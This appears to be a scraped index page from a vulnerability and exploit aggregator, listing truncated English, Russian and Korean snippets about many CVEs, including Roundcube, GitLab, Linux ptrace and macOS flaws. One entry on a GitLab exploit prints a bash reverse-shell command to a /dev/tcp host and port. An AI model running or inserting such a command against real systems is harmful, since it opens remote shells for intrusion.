Roundcube Webmail - Remote Code Execution

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. id: CVE-2025-49113 info: name: Roundcube Webmail - Remote...

cve-2024-24919

В этом репозитории нет README...

CVE-2024-36823-POC

CVE-2024-36823-POC Проверьте https://github.com/ninjaframework/ninja/issues/759 для получения подробностей...

CVE-2022-1175

CVE-2022-1175 Хранимая XSS-уязвимость GitLab может быть установлена в issue проекта, как своего, так и чужого. Позволяет такие атаки, как создание и кража Personal Access Token PAT любого, кто посещает issue. PAT затем могут предоставить полный доступ к GitLab API от имени этого пользователя, что...

CVE-2019-13272

CVE-2019-13272 Локальный эксплойт для получения root в Linux Linux 4.10 5.1.17 PTRACETRACEME локальный root CVE-2019-13272 root@kitploit: In the Linux kernel before 5.1.17, ptracelink in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace...

CVE-2009-4660

CVE-2009-4660...

Linux Distros Unpatched Vulnerability : CVE-2026-84635

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27,...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake root@kitploit:...

CVE-2016-2555

CVE-2016-2555 CVE-2016-2555...

CVE-2015-6612

CVE-2015-6612 Детали уязвимости смотрите в description.pdf Моя печальная история об этой ошибке: Я сообщил об этой проблеме в ZDI в прошлом марте. В начале они сказали, что не могут воспроизвести её в последней версии Android, после полумесячного общения они решили не продолжать приобретение бага...

CVE-2022-37969

CVE-2022-37969...

CVE-2021-28378

CVE-2021-28378 Подробности об этой CVE здесь. Эта CVE связана с отсутствием экранирования строк на стороне клиента для контента, получаемого с сервера. Она позволяет атакующему легко внедрять произвольный код, создавая комментарий к issue или pull request. Проблема была внесена в коммите...

CVE-2026-58502

githubtoplanguages generates a user's top GitHub languages as an SVG. The .github/workflows/discord-issue.yml workflow runs when an issue is opened or closed and interpolates github.event.issue.title directly into the Bash assignment for ISSUETITLE before shell parsing. An issue title containing...

CVE-2026-58502

githubtoplanguages , a tool that renders a user's top GitHub languages as an SVG, is affected by a command injection in its .github/workflows/discord-issue.yml GitHub Actions workflow. The workflow interpolates github.event.issue.title directly into a Bash assignment before shell parsing, so any ...

CVE-2021-28235

이 저장소에는 README가 없습니다...

CVE-2026-86910

A permissions issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files...

CVE-2026-86909

A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Gatekeeper checks...

CVE-2026-86917

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges...

CVE-2026-86894

A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox...

CVE-2026-86898

A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Opening a maliciously crafted webarchive file may lead to universal cross-site scripting...